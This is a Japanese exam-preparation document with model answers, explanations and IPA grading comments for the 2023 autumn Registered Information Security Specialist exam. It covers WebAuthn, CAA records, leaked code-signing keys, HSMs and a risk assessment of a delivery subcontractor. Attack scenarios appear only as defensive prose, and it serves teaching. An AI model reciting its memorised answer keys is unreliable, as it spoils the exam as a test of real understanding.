WebAuthn(W3C 勧告)では,利用者の認証器がサイトごとに鍵ペアを作り,公開鍵だけをサーバに登録する。ログイン時,Web ブラウザはサーバからのチャレンジとアクセス中のページのオリジンを含む情報をまとめ,認証器がそれに秘密鍵で署名して返す。サーバは,含まれるオリジンが自分のオリジンであること,署名が登録済みの公開鍵で正しく検証できることを確かめる。

利用者が偽サイトでログインを試みても,Web ブラウザが埋め込むオリジンは偽サイトのドメインになる(そもそも認証器はクラウド管理サイト用の鍵を別のドメインのサイトには使わない)。攻撃者が応答を中継しても,クラウド管理サイトはオリジンの不一致で拒否する。また,署名に使う秘密鍵は認証器から出ないので,TOTP のように盗んで使い回せる値が無い。これが,WebAuthn がフィッシングに強い理由である。

字数の詰め方。“オリジン”と“署名”を“サーバが確認する”ことを書く。解答例は 33 字。採点講評のとおり,クライアント証明書認証やリスクベース認証と取り違えた解答が多かった。

採点講評(IPA)

設問2(5)は,正答率が低かった。WebAuthnをクライアント証明書認証やリスクベース認証などほかの認証方法と誤認した解答が多かった。WebAuthnはフィッシング耐性がある認証方法である。Passkeyという新たな方式も登場し,普及し始めている。ほかの認証方法とどのように異なるのか,技術的な仕組みを含め,よく理解してほしい。

設問2(6) 解答欄1つ

図2中の a に入れる適切な字句を,解答群の中から選び,記号で答えよ。解答群:ア(CAA),イ(CNAME),ウ(DNSKEY),エ(NS),オ(SOA),カ(TXT)

〔a〕解答例

  • ア
解説

本文の根拠

図2 4.

N サービスのドメインのサーバ証明書を発行できる認証局を限定するために,N サービスのドメインの権威 DNS サーバに,N サービスのドメイン名に対応する a レコードを設定する。

CAA(Certification Authority Authorization)レコード(RFC 8659)は,ドメインの所有者が,そのドメインのサーバ証明書を発行してよい認証局を DNS で宣言するためのレコードである。認証局は証明書を発行する前に CAA レコードを確認し,自分が許可されていなければ発行しないことが求められている。答えはアである。

今回,攻撃者は N 社が利用していない認証局 R から証明書を取得した。CAA レコードで N 社が使う認証局だけを許可しておけば,認証局 R は発行を断るので,同じ手口を防げる。

ほかの選択肢。イの CNAME は別名,ウの DNSKEY は DNSSEC の公開鍵,エの NS は権威 DNS サーバ,オの SOA はゾーンの管理情報,カの TXT は任意の文字列を載せるレコードである。TXT は SPF やドメイン認証にも使われるが,認証局を限定する標準の仕組みではない。

設問3(1) 40字以内

本文中の下線⑦について,K さんが開始した対応を踏まえ,予想される攻撃を,40 字以内で答えよ。

解答例

  • 有効なコード署名が付与された偽のPアプリをJストアにアップロードする攻撃
解説

本文の根拠

表3

APP_SIGN_KEY:コード署名の付与に利用する署名鍵とコードサイニング証明書。STORE_API_KEY:J ストアにアプリをアップロードするための認証用 API キー。

〔N 社の顧客での対応〕

J ストアのアプリを実行するスマートフォン OS は,各アプリを起動する前にコード署名の有効性を検証しており,検証に失敗したらアプリを起動しないようにしている。

〔N 社の顧客での対応〕

K さんは,一つ目の対応として,⑧漏えいしたおそれがあるので,STORE_API_KEY として登録されていた認証用 API キーに必要な対応を行った。

漏えいしたおそれがあるのは,P アプリのソースコード,コード署名用の署名鍵とコードサイニング証明書(APP_SIGN_KEY),J ストアへのアップロード用の認証用 API キー(STORE_API_KEY)である。これらがそろうと攻撃者は,ソースコードを改変した偽の P アプリを作り,正規の署名鍵で有効なコード署名を付け,P 社として J ストアにアップロードできる。P アプリ利用者がそれを更新として取り込めば,決済アプリが乗っ取られる。

K さんの二つの対応は,この攻撃の二つの部品をそれぞれ無効にするものである。一つ目は認証用 API キーへの対応(J ストアへのアップロードを防ぐ),二つ目はコードサイニング証明書の失効(偽アプリの署名を無効にする)である。対応から逆算すると,予想した攻撃は“有効な署名付きの偽アプリを J ストアに上げる”ことになる。

字数の詰め方。“有効なコード署名が付与された偽の P アプリを”“J ストアにアップロードする攻撃”の形で書く。解答例は 36 字。

設問3(2) 20字以内

本文中の下線⑧について,必要な対応を,20 字以内で答えよ。

解答例

  • J社のWebサイトから削除する。
解説

本文の根拠

〔N 社の顧客での対応〕

認証用 API キーは J 社が発行し,契約者だけが J 社の Web サイトから取得及び削除できる。

〔N 社の顧客での対応〕

新規の認証用 API キーを取得し,署名済みのバイナリコードを J ストアにアップロードするとともに

漏えいしたおそれのある認証用 API キーは,使えないようにしなければならない。本文によれば,認証用 API キーは契約者だけが J 社の Web サイトから取得及び削除できる。K さんは漏えいしたキーを J 社の Web サイトから削除して無効にし,後で新規のキーを取得している。

キーを削除すれば,攻撃者がそのキーを HTTP ヘッダーに付けて J ストアの REST API を呼び出しても,契約者として認証されず,アップロードできない。

字数の詰め方。“どこで”“何をする”を本文の言葉で書く。解答例は“J 社の Web サイトから削除する。”(16字)。“無効化する”“変更する”でも趣旨は近いが,本文が示す手段は“削除”である。

設問3(3) 20字以内

本文中の下線⑨について,コード署名を付与する際に HSM を使うことによって得られるセキュリティ上の利点を,20 字以内で答えよ。

解答例

  • 秘密鍵が漏れないという利点
解説

本文の根拠

〔N 社の顧客での対応〕

FIPS 140-2 Security Level 3 の認証を受けたハードウェアセキュリティモジュール(HSM)は,⑨コード署名を付与する際にセキュリティ上の利点があるので,それを利用することにした。

表3

APP_SIGN_KEY:コード署名の付与に利用する署名鍵とコードサイニング証明書。

HSM は,鍵を内部で生成・保管し,署名などの暗号演算を内部で行う専用装置である。コード署名を付けるときは,署名したいデータ(ハッシュ値)を HSM に渡し,署名だけを受け取るので,秘密鍵(署名鍵)が HSM の外に出ることがない。FIPS 140-2 の Security Level 3 は,物理的な侵入への耐性や,侵入を検知したときの鍵の消去などを求める水準である。

今回の漏えいは,署名鍵が N サービスのシークレットとして環境変数で渡され,それが読み取られたことで起きた。署名鍵を HSM に入れて署名を HSM の中で行えば,署名鍵そのものが外部に渡らないので,同じ形の漏えいは起きない。

字数の詰め方。解答例は“秘密鍵が漏れないという利点”(13字)。採点講評のとおり,“電子署名を暗号化できる”や“秘密鍵が漏えいしても安全”は誤り。HSM の利点は漏えいを防ぐことであり,漏えいした後の安全を保証するものではない。

採点講評(IPA)

設問3(3)は,正答率がやや低かった。“電子署名を暗号化できる”,“秘密鍵が漏えいしても安全である”などといった,暗号技術の利用方法についての不正確な理解に基づく解答が散見された。HSMを使うセキュリティ上の利点に加えて,暗号技術の適正な利用方法についても,正確に理解してほしい。

設問3(4) 解答欄2つ

本文中の下線⑩について,影響と対応を,それぞれ 20 字以内で答えよ。

〔影響〕解答例

  • Pアプリを起動できない。

〔対応〕解答例

  • Pアプリをアップデートする。
解説

本文の根拠

〔N 社の顧客での対応〕

J ストアのアプリを実行するスマートフォン OS は,各アプリを起動する前にコード署名の有効性を検証しており,検証に失敗したらアプリを起動しないようにしている。

〔N 社の顧客での対応〕

APP_SIGN_KEY として登録されていたコードサイニング証明書について認証局に失効を申請するとともに,新たな鍵ペアを生成し,コードサイニング証明書の発行申請及び受領を行った。

〔N 社の顧客での対応〕

新規の認証用 API キーを取得し,署名済みのバイナリコードを J ストアにアップロードするとともに

P アプリ利用者のスマートフォンに入っている P アプリは,失効させたコードサイニング証明書の署名鍵で署名されている。証明書を失効させると,スマートフォン OS が起動前に行うコード署名の検証に失敗するので,P アプリが起動できなくなる。これが影響である。

一方,K さんは新しい鍵ペアと証明書で署名し直した P アプリを J ストアにアップロードした。P アプリ利用者は,J ストアから P アプリをアップデート(新しい版を入手)すれば,有効な署名の P アプリが入り,再び起動できる。これが対応である。

字数の詰め方。影響は“P アプリを起動できない。”(12字),対応は“P アプリをアップデートする。”(14字)。どちらも 20 字以内なので,“コード署名の検証に失敗し”などの理由まで書く必要はない。

出典:令和5年度 秋期 情報処理安全確保支援士試験 午後 問3(表記を一部改変)

問4 リスクアセスメント

リスクアセスメントに関する次の記述を読んで,設問に答えよ。

G 百貨店は,国内で 5 店舗を営業している。G 百貨店では,贈答品として販売される菓子類のうち,特定の地域向けに配送されるもの(以下,菓子類 F という)の配送と在庫管理を W 社に委託している。

〔W 社での配送業務〕

W 社は従業員 100 名の地域運送会社で,本社事務所と倉庫が同一敷地内にあり,それ以外の拠点はない。

G 百貨店では,贈答品の受注情報を,S サービスという受注管理 SaaS に登録している。菓子類 F の受注情報(以下,菓子類 F の受注情報を Z 情報という)が登録された後の,W 社の配送業務におけるデータの流れは,図1のとおりである。

データの流れの図。S サービスから W 社 本社事務所の配送管理用 PC へ (1) の矢印。配送管理用 PC と在庫管理サーバ(本社事務所内)の間に (2) の双方向の矢印。配送管理用 PC から本社事務所の外の配送管理 SaaS へ (3) の矢印。配送管理 SaaS からトラックへ (4) の矢印。配送管理用 PC のそばに配送管理課員がいる。凡例:矢印はデータの流れ。(1) 配送管理課員が,S サービスにアクセスして,G 百貨店が登録した Z 情報を参照する。(2) 配送管理課員が,在庫管理サーバにアクセスして,倉庫内の在庫品の引当てを行う。(3) 配送管理課員が,配送管理 SaaS にアクセスして,配送指示を入力する。(4) 配送員が,倉庫の商品を配送するために,配送用スマートフォンで配送管理 SaaS の配送指示を参照する。
図1 W 社の配送業務におけるデータの流れ

W 社の配送管理課では,毎日 09:00-21:00 の間,常時稼働 1 名として 6 時間交代で配送管理業務を行っている。配送管理用 PC は 1 台を交代で使用している。

S サービスに登録された Z 情報を W 社が参照できるようにするために,G 百貨店は,自社に発行された S サービスのアカウントを一つ W 社に貸与している(以下,G 百貨店が W 社に貸与している S サービスのアカウントを貸与アカウントという)。貸与アカウントでは,Z 情報だけにアクセスできるように権限を設定している。なお,S サービスと W 社の各システムは直接連携しておらず,W 社の配送管理課員が Z 情報を参照して,在庫管理サーバ及び配送管理 SaaS に入力している。1 日当たりの Z 情報の件数は 10〜50 件である。Z 情報には,配送先の住所・氏名・電話番号の情報が含まれている。配送先の情報に不備がある場合は,配送員が配送管理課に電話で問い合わせることがある。なお,配送に関する G 百貨店から W 社への特別な連絡事項は,電子メール(以下,メールという)で送られてくる。

〔リスクアセスメントの開始〕

ランサムウェアによる“二重の脅迫”が社会的な問題となったことをきっかけに,G 百貨店では全ての情報資産を対象にしたリスクアセスメントを実施することになり,セキュリティコンサルティング会社である E 社に作業を依頼した。リスクアセスメントの開始に当たり,G 百貨店は,G 百貨店の情報資産を取り扱っている委託先に対して,E 社の調査に応じるよう要請し,承諾を得た。この中には W 社も含まれていた。

情報資産のうち贈答品の受注情報に関するリスクアセスメントは,E 社の情報処理安全確保支援士(登録セキスペ)の T さんが担当することになった。T さんは,まず Z 情報の機密性に限定してリスクアセスメントを進めることにして,必要な調査を実施した。T さんは,調査結果として,S サービスの仕様と G 百貨店の設定状況を表1に,W 社のネットワーク構成を図2に,W 社の情報セキュリティの状況を表2にまとめた。

項番,仕様,G 百貨店の設定状況の3列の表。項番1:利用者認証において,利用者 ID(以下,ID という)とパスワード(以下,PW という)の認証のほかに,時刻同期型のワンタイムパスワードによる認証を選択することができる。設定状況:ID と PW での認証を選択している。項番2:同一アカウントで重複ログインをすることができる。設定状況:設定変更はできない。項番3:ログインを許可するアクセス元 IP アドレスのリストを設定することができる。IP アドレスのリストは,アカウントごとに設定することができる。設定状況:全ての IP アドレスからのログインを許可している。項番4:検索した受注情報をファイルに一括出力する機能(以下,一括出力機能という)があり,アカウントごとに機能の利用の許可/禁止を選択できる。設定状況:全てのアカウントに許可している。項番5:契約ごとに設定される管理者アカウントは,契約範囲内の全てのアカウントの操作ログを参照することができる。設定状況:設定変更はできない。項番6:S サービスへのアクセスは,HTTPS だけが許可されている。設定状況:設定変更はできない。
表1 S サービスの仕様と G 百貨店の設定状況(抜粋)
ネットワーク構成図。インターネットに,W 社の外の配送用スマートフォン(複数),メール SaaS,配送管理 SaaS が接続している。W 社 本社事務所では,インターネットに FW が接続し,FW にプロキシサーバが接続している。FW の下に L2SW が三つあり,一つ目の L2SW に配送管理用 PC,二つ目の L2SW にその他の PC(複数),三つ目の L2SW にファイルサーバ,パッチ管理サーバ,在庫管理サーバが接続している。凡例:FW:ファイアウォール,L2SW:レイヤー2スイッチ。
図2 W 社のネットワーク構成
項番,カテゴリ,情報セキュリティの状況の3列の表(項番1〜8。項番9〜13 は続きの表)。カテゴリ“技術的セキュリティ対策”(項番1〜7)。項番1:PC 及びサーバへのログイン時は,各 PC 及びサーバに登録された ID と PW で認証している。PW は,十分に長く,推測困難なものを使用している。項番2:全ての PC とサーバに,パターンマッチング型のマルウェア対策ソフトを導入している。定義ファイルの更新は,遅滞なく行われている。項番3:全ての PC,サーバ及び配送用スマートフォンで,脆弱性修正プログラムの適用は,遅滞なく行われている。項番4:FW は,ステートフルパケットインスペクション型で,インターネットから W 社への全ての通信を禁止している。W 社からインターネットへの通信は,プロキシサーバからの必要な通信だけを許可している。そのほかの通信は,必要なものだけを許可している。項番5:メール SaaS には,セキュリティ対策のオプションとして次のものがある。一つ目だけを有効としている。・添付ファイルに対するパターンマッチング型マルウェア検査,・迷惑メールのブロック,・特定のキーワードを含むメールの送信のブロック。項番6:プロキシサーバは,社内の全ての PC とサーバから,インターネットへの HTTP と HTTPS の通信を転送する。URL フィルタリング機能があり,アダルトとギャンブルのカテゴリだけを禁止している。HTTPS 復号機能はもっていない。項番7:PC では,OS の設定によって,取外し可能媒体への書込みを禁止している。この設定を変更するには,管理者権限が必要である。なお,管理者権限は,システム管理者だけがもっている。カテゴリ“物理的セキュリティ対策”。項番8:本社事務所は IC カードによる入退管理が施されていて,従業員以外は立ち入ることができない。本社事務所に入った後は特に制限はなく,従業員は誰でも配送管理用 PC に近づくことができる。
表2 W 社の情報セキュリティの状況
項番,カテゴリ,情報セキュリティの状況の3列の表(項番9〜13)。カテゴリ“人的セキュリティ対策”(項番9〜11)。項番9:標的型攻撃に関する周知は行っているが,訓練は実施していない。項番10:全従業員に対して,次の基本的な情報セキュリティ研修を行っている。・ID と PW を含む,秘密情報の取扱方法,・マルウェア検知時の対応手順,・PC 及び配送用スマートフォンの取扱方法,・個人情報の取扱方法,・メール送信時の注意事項。項番11:聞取り調査の結果,従業員の倫理意識は十分に高いことが判明した。不正行為の動機付けは十分に低い。カテゴリ“貸与アカウントの PW の管理”(項番12〜13)。項番12:配送管理課長が毎月 PW を変更し,ID と変更後の PW をメールで配送管理課員全員に周知している。PW は英数記号のランダム文字列で,十分な長さがある。その日の配送管理課のシフトに応じて,当番となった者がアカウントを使用する。項番13:PW は暗記が困難なので,配送管理課長は課員に対して,PW はノートなどに書いてもよいが,他人に見られないように管理するよう指示している。しかし,配送管理課で,PW を書いた付箋が,机上に貼ってあった。
表2 W 社の情報セキュリティの状況(続き)

T さんは,G 百貨店が定めた図3のリスクアセスメントの手順に従って,Z 情報の機密性に関するリスクアセスメントを進めた。

枠で囲んだ手順。1. リスク特定。(1) リスク源を洗い出し,“リスク源”欄に記述する。(2) (1)のリスク源が行う行為,又はリスク源が起こす事象の分類を,“行為又は事象の分類”欄に記述する。(3) (1)と(2)について,リスク源が行う行為,又はリスク源が起こす事象を,“リスク源による行為又は事象”欄に記述する。(4) (3)の行為又は事象を発端として,Z 情報の機密性への影響に至る経緯を,“Z 情報の機密性への影響に至る経緯”欄に記述する。2. リスク分析。(1) 1. で特定したリスクに関して,関連する情報セキュリティの状況を表2から選び,その項番全てを“情報セキュリティの状況”欄に記入する。該当するものがない場合は“なし”と記入する。(2) (1)の情報セキュリティの状況を考慮に入れた上で,“Z 情報の機密性への影響に至る経緯”のとおりに進行した場合の被害の大きさを“被害の大きさ”欄に次の 3 段階で記入する。大:ほぼ全ての Z 情報について,機密性が確保できない。中:一部の Z 情報について,機密性が確保できない。小:“Z 情報の機密性への影響に至る経緯”だけでは機密性への影響はないが,ほかの要素と組み合わせることによって影響が生じる可能性がある。(3) (1)の情報セキュリティの状況を考慮に入れた上で,“リスク源による行為又は事象”が発生し,かつ,“Z 情報の機密性への影響に至る経緯”のとおりに進行する頻度を,“発生頻度”欄に次の 3 段階で記入する。高:月に 1 回以上発生する。中:年に 2 回以上発生する。低:発生頻度は年に 2 回未満である。3. リスク評価。(1) 表3のリスクレベルの基準に従い,リスクレベルを“総合評価”欄に記入する。
図3 リスクアセスメントの手順
行が発生頻度,列が被害の大きさのマトリックス。発生頻度 高:被害の大きさ 大は A,中は B,小は C。発生頻度 中:大は B,中は C,小は D。発生頻度 低:大は C,中は D,小は D。A:リスクレベルは高い。B:リスクレベルはやや高い。C:リスクレベルは中程度である。D:リスクレベルは低い。
表3 リスクレベルの基準

T さんは,表4のリスクアセスメントの結果を G 百貨店に報告した。

リスク番号,リスク源,行為又は事象の分類,リスク源による行為又は事象の4列の表(左半分。右半分は続きの表)。リスク源“W 社従業員”(1-1〜1-5)。1-1:分類“ID と PW の持出し(故意)”,S サービスの ID と PW をメモ用紙などに書き写して,持ち出す。1-2:分類“ID と PW の持出し(故意)”,故意に,S サービスの ID と PW を,W 社外の第三者にメールで送信する。1-3:分類“Z 情報の持出し(故意)”,Z 情報を表示している画面を,個人所有のスマートフォンで写真撮影して保存する。1-4:分類“Z 情報の持出し(故意)”,配送管理用 PC で,一括出力機能を利用して,Z 情報をファイルに書き出し,W 社外の第三者にメールで送信する。1-5:分類“ID と PW の漏えい(過失)”,誤って,S サービスの ID と PW を,W 社外の第三者にメールで送信する。リスク源“W 社外の第三者”(2-1〜2-5)。2-1:分類“W 社へのサイバー攻撃”,S サービスの偽サイトを作った上で,偽サイトに誘導するフィッシングメールを,配送管理課員宛てに送信する。2-2 及び 2-3:分類“W 社へのサイバー攻撃”,W 社の PC 又はサーバの脆弱性を悪用し,インターネット上の PC から W 社の PC 又はサーバを不正に操作する(2-2 と 2-3 で一つのセル)。2-4:分類“W 社へのサイバー攻撃”,[ あ ]。2-5:分類“ソーシャルエンジニアリング”,配送員を装って,配送管理課員に電話で問い合わせる。注記 このページの表と次ページの表とは横方向につながっている。
表4 リスクアセスメントの結果(抜粋)
Z 情報の機密性への影響に至る経緯,情報セキュリティの状況,被害の大きさ,発生頻度,総合評価の5列の表(右半分。行はリスク番号 1-1〜2-5 の順)。1-1:W 社従業員によって持ち出された ID と PW が利用され,W 社外から S サービスにログインされて,Z 情報が W 社外の PC などに保存される。情報セキュリティの状況[ ア ],被害の大きさ[ イ ],発生頻度 低,総合評価[ ウ ]。1-2:メールを受信した W 社外の第三者によって,メールに記載された ID と PW が利用され,W 社外から S サービスにログインされて,Z 情報が W 社外の PC などに保存される。(省略),大,低,C。1-3:W 社従業員によって,個人所有のスマートフォン内に保存された Z 情報の写真が,W 社外に持ち出される。(省略),中,低,D。1-4:メールを受信した W 社外の第三者に,Z 情報が漏えいする。(省略),大,低,C。1-5:リスク番号 1-2 と同じ。[ a ],大,低,C。2-1:配送管理課員が,フィッシングメール内のリンクをクリックし,偽サイトにアクセスして,ID と PW を入力してしまう。入力された ID と PW が利用され,W 社外から S サービスにログインされて,Z 情報が W 社外の PC などに保存される。(省略),大,低,C。2-2:不正に操作された PC 又はサーバが踏み台にされて,配送管理用 PC にキーロガーが埋め込まれ,S サービスの ID と PW が窃取される。その ID と PW が利用され,W 社外から S サービスにログインされて,Z 情報が W 社外の PC などに保存される。[ b ],大,低,C。2-3:不正に操作された PC 又はサーバが踏み台にされて,配送管理課長の PC に不正にログインされる。その後,送信済みのメールが読み取られ,S サービスの ID と PW が窃取される。その ID と PW が利用され,W 社外から S サービスにログインされて,Z 情報が W 社外の PC などに保存される。(省略),大,低,C。2-4:[ い ],[ う ],[ え ],[ お ],[ か ]。2-5:(省略),(省略),中,低,D。
表4 リスクアセスメントの結果(抜粋)(続き)

〔リスクの管理策の検討〕

報告を受けた後,G 百貨店は,総合評価が A〜C のリスクについて,リスクを低減するために追加すべき管理策の検討を E 社に依頼した。依頼に当たり,G 百貨店は次のとおり条件を提示した。

依頼を受けた E 社は,T さんをリーダーとする数名のチームが管理策を検討した。追加すべき管理策の検討結果を表5に示す。

リスク番号,管理策の2列の表。1-1:・G 百貨店で,S サービスの利用者認証を,多要素認証に変更する。・G 百貨店で,S サービスの操作ログを常時監視し,不審な操作を発見したらブロックする。・[ エ ]。1-2:・G 百貨店で,S サービスの利用者認証を,多要素認証に変更する。・G 百貨店で,S サービスの操作ログを常時監視し,不審な操作を発見したらブロックする。・W 社で,メール SaaS の“特定のキーワードを含むメールの送信のブロック”を行う。1-4:・G 百貨店で,S サービスの設定を変更し,一括出力機能の利用を禁止する。1-5:リスク番号 1-2 の管理策と同じ。2-1:(省略)。2-2:(省略)。2-3:(省略)。2-4:・[ き ]。
表5 追加すべき管理策の検討結果(抜粋)

その後,T さんは,Z 情報の完全性及び可用性についてのリスクアセスメント,並びに菓子類 F 以外の贈答品の受注情報についてのリスクアセスメントを行い,必要に応じて管理策を検討した。

E 社から全ての情報資産のリスクアセスメント結果及び追加すべき管理策の報告を受けた G 百貨店は,報告内容から W 社に関連する部分を抜粋して W 社にも伝えた。G 百貨店と W 社は,幾つかの管理策を実施し,順調に贈答品の販売及び配送を行っている。

出題趣旨(IPA)

情報資産を保護するためには,リスクを洗い出すことが出発点となる。リスクを洗い出した後,そのリスクによる情報資産への影響を分析した上で,対策の必要性を評価し,具体的な対策の内容を検討することが重要である。これらのリスクアセスメントからリスク対応までのプロセスを適切に行えることが,情報処理安全確保支援士(登録セキスぺ)には要求される。本問では,業務委託関係にある百貨店と運送会社を題材に,リスクアセスメントを実施する能力,及び個々のリスクを低減するための対策を立案する能力を問う。

採点講評(問全体・IPA)

問4では,業務委託関係にある百貨店と運送会社を題材に,個人情報に関するリスクアセスメントについて出題した。全体として正答率は平均的であった。

リスクアセスメントは,組織の秘密情報を保護するための基本的なプロセスであり,このプロセスで大きなリスクの見落としがあると,重大なインシデントの発生につながってしまうおそれがある。情報処理安全確保支援士(登録セキスぺ)の専門性が発揮されるべき重要なプロセスであるので,リスクアセスメントの流れについて理解するとともに,その流れの中で,脅威を想定して攻撃シナリオを作成する方法及び攻撃シナリオを分析する方法について理解を深めるよう,学習を進めてほしい。

設問と解答例

設問1 解答欄4つ

表4及び表5中の [ ア ]〜[ エ ] に入れる適切な字句を答えよ。[ ア ] は,表2中から該当する項番を全て選び,数字で答えよ。該当する項番がない場合は,“なし”と答えよ。[ イ ] は答案用紙の大・中・小のいずれかの文字を○で囲んで示せ。[ ウ ] は答案用紙の A・B・C・D のいずれかの文字を○で囲んで示せ。

〔ア〕解答例

  • 10,11,12,13

〔イ〕解答例

  • 大

〔ウ〕解答例

  • C

〔エ〕解答例

  • G百貨店で,Sサービスへログイン可能なIPアドレスをW社プロキシだけに設定する。
解説

本文の根拠

表4 リスク番号1-1

S サービスの ID と PW をメモ用紙などに書き写して,持ち出す。

表2 項番12

配送管理課長が毎月 PW を変更し,ID と変更後の PW をメールで配送管理課員全員に周知している。

表2 項番13

しかし,配送管理課で,PW を書いた付箋が,机上に貼ってあった。

表1 項番3

ログインを許可するアクセス元 IP アドレスのリストを設定することができる。IP アドレスのリストは,アカウントごとに設定することができる。

表1 項番4

検索した受注情報をファイルに一括出力する機能(以下,一括出力機能という)があり,アカウントごとに機能の利用の許可/禁止を選択できる。

ア:リスク番号1-1は,W 社従業員が貸与アカウントの ID と PW を書き写して持ち出すリスクである。関係する表2の状況は,項番10(ID と PW を含む秘密情報の取扱いの研修),項番11(倫理意識が高く,不正の動機付けが低い),項番12(PW がメールで配送管理課員全員に周知されている),項番13(PW を書いた付箋が机上に貼ってある)の四つである。12・13 は持出しを容易にし,10・11 は故意の持出しを抑える方向に働く。どちらも“関連する状況”なので全て挙げる。ア は 10,11,12,13。

イ・ウ:持ち出された ID と PW があれば,S サービスは全ての IP アドレスからのログインを許可し(表1 項番3),一括出力機能も全アカウントに許可している(項番4)ので,W 社外からほぼ全ての Z 情報を取り出せる。被害の大きさは“大”。発生頻度は“低”なので,表3から総合評価は C になる。エ:G 百貨店が貸与アカウントのログイン元 IP アドレスを W 社のプロキシサーバ(W 社からインターネットへの通信の出口。表2 項番4)だけに制限すれば,持ち出した ID と PW を W 社外で使ってもログインできない。図1のデータの流れも変わらない。

間違えやすい点。ア では項番8(誰でも配送管理用 PC に近づける)も関係しそうに見えるが,1-1 は ID と PW を書き写して持ち出す行為で,PC に触れる必要がない。解答例は項番10〜13 の人的な状況と PW の管理の状況だけを挙げている。

設問2(1) 解答欄1つ

表4中の [ あ ] に入れる適切な字句を,本文に示した状況設定に沿う範囲で,あなたの知見に基づき,答えよ。

〔あ〕解答例

  • G百貨店からW社への連絡を装った電子メールに未知のマルウェアを添付して,配送管理課員宛てに送付する。
  • 配送管理課員がよく閲覧するWebサイトにおいて,脆弱性を悪用するなどして,配送管理課員が閲覧した時に,未知のマルウェアを別のWebサイトからダウンロードさせるようにWebページを改ざんする。
  • W社からアクセスすると未知のマルウェアをダウンロードする仕組みのWebページを用意した上で,そのURLリンクを記載した電子メールを,G百貨店からW社への連絡を装って送信する。

〔備考〕解答例は①〜③の3通り(上から順に①②③)。(2)のい〜きは,(1)のあと同じ番号のものが組になる。〔備考〕①~③の例に限らず,本文に示した状況設定に沿うリスクアセスメントの結果が記述されていること

解説

本文の根拠

表4 リスク番号2-4

2-4:分類“W 社へのサイバー攻撃”,[ あ ]。

表2 項番2

全ての PC とサーバに,パターンマッチング型のマルウェア対策ソフトを導入している。

表2 項番9

標的型攻撃に関する周知は行っているが,訓練は実施していない。

本文〔W 社での配送業務〕

なお,配送に関する G 百貨店から W 社への特別な連絡事項は,電子メール(以下,メールという)で送られてくる。

あ には,リスク源“W 社外の第三者”が“W 社へのサイバー攻撃”として行う行為で,2-1(フィッシングメール)や 2-2・2-3(脆弱性を悪用した不正操作)と重ならないものを,自分の知見から書く。解答例は三つの例を挙げている。①G 百貨店からの連絡を装ったメールに未知のマルウェアを添付して配送管理課員に送る(標的型攻撃メール),②配送管理課員がよく閲覧する Web サイトを改ざんして,閲覧時に未知のマルウェアをダウンロードさせる(水飲み場型攻撃),③未知のマルウェアをダウンロードさせる Web ページへのリンクを,G 百貨店からの連絡を装ったメールで送る。

どの例も“未知のマルウェア”としている点が要である。表2の項番2 のとおり W 社のマルウェア対策ソフトはパターンマッチング型で,定義ファイルに無い未知のマルウェアは検知できない。項番3 で脆弱性修正プログラムは遅滞なく適用されているので,既知の脆弱性に頼る攻撃は 2-2 と同じく発生頻度が低い。G 百貨店からメールで連絡が来る業務の流れや,標的型攻撃の訓練をしていないこと(項番9)も,攻撃の成功しやすさの根拠になる。

書き方の注意。採点講評のとおり,具体性に欠けて被害の大きさや発生頻度を評価できない記述や,“W 社外の第三者”“W 社へのサイバー攻撃”という前提に合わない記述(W 社従業員の行為,G 百貨店や S サービスへの攻撃など)は認められない。あ は (2) の い〜き を評価できるだけの具体性で書く。

採点講評(IPA)

リスクアセスメントの中でも,リスク特定は担当者の知見が重要なプロセスである。本文内の状況説明と受験者自らの知見とを組み合わせてリスクを洗い出す能力を,設問2では問うた。多くの受験者が適切な解答を記述していたが,特定したリスクが具体性に欠けており,リスク分析の段階で被害の大きさや発生頻度の評価ができていない解答が散見された。また,“W社外の第三者”や“W社へのサイバー攻撃”といったリスクの前提に合っていない解答も一部に見られた。

設問2(2) 解答欄6つ

解答した [ あ ] の内容に基づき,表4及び表5中の [ い ]〜[ き ] に入れる適切な字句を答えよ。[ う ] は,表2中から該当する項番を全て選び,数字で答えよ。該当する項番がない場合は,“なし”と答えよ。[ え ] は答案用紙の大・中・小のいずれかの文字を○で囲んで示せ。[ お ] は答案用紙の高・中・低のいずれかの文字を○で囲んで示せ。[ か ] は答案用紙の A・B・C・D のいずれかの文字を○で囲んで示せ。

〔い〕解答例

  • 配送管理課員が,添付ファイルを開き,配送管理用PCが未知のマルウェアに感染した結果,IDとPWを周知するメールが読み取られ,SサービスのIDとPWが窃取される。そのIDとPWが利用されて,W社外からSサービスにログインされて,Z情報が漏えいする。
  • 配送管理課員が,改ざんされたWebページを閲覧した結果,マルウェアをダウンロードしてPCがマルウェアに感染する。マルウェアがキー入力を監視して,配送管理課員がSサービスにアクセスした際にIDとPWが窃取される。そのIDとPWが利用されて,W社外からSサービスにログインされ,Z情報がW社外のPCなどに保存される。
  • 配送管理課員が,電子メール内のURLリンクをクリックすると,配送管理用PCが未知のマルウェアに感染する。PC内に残っていたZ情報を一括出力したファイルが,マルウェアによって攻撃者の用意したサーバに送信され,Z情報が漏えいする。

〔う〕解答例

  • 2,3,5,6,9,12
  • 2,3,6
  • 2,3,5,6,9,10

〔え〕解答例

  • 大
  • 大
  • 大

〔お〕解答例

  • 高
  • 低
  • 高

〔か〕解答例

  • A
  • C
  • A

〔き〕解答例

  • 配送管理用PCにEDRを導入し,不審な動作が起きていないかを監視する。
  • プロキシサーバのURLフィルタリング機能の設定を変更して,配送管理用PCからアクセスできるURLを必要なものだけにする。
  • 全てのPCとサーバに,振舞い検知型又はアノマリ検知型のマルウェア対策ソフトを導入する。

〔備考〕解答例は①〜③の3通りで,各欄の答えは上から順に①②③。(1)のあと同じ番号のものを組にして答える(①:添付ファイル型,②:Webサイト改ざん型,③:URLリンク型)。〔備考〕①~③の例に限らず,本文に示した状況設定に沿うリスクアセスメントの結果が記述されていること

解説

本文の根拠

表2 項番5

メール SaaS には,セキュリティ対策のオプションとして次のものがある。一つ目だけを有効としている。

表2 項番6

URL フィルタリング機能があり,アダルトとギャンブルのカテゴリだけを禁止している。HTTPS 復号機能はもっていない。

表2 項番12

配送管理課長が毎月 PW を変更し,ID と変更後の PW をメールで配送管理課員全員に周知している。

表1 項番4

全てのアカウントに許可している。

表3

発生頻度 高:被害の大きさ 大は A,中は B,小は C。

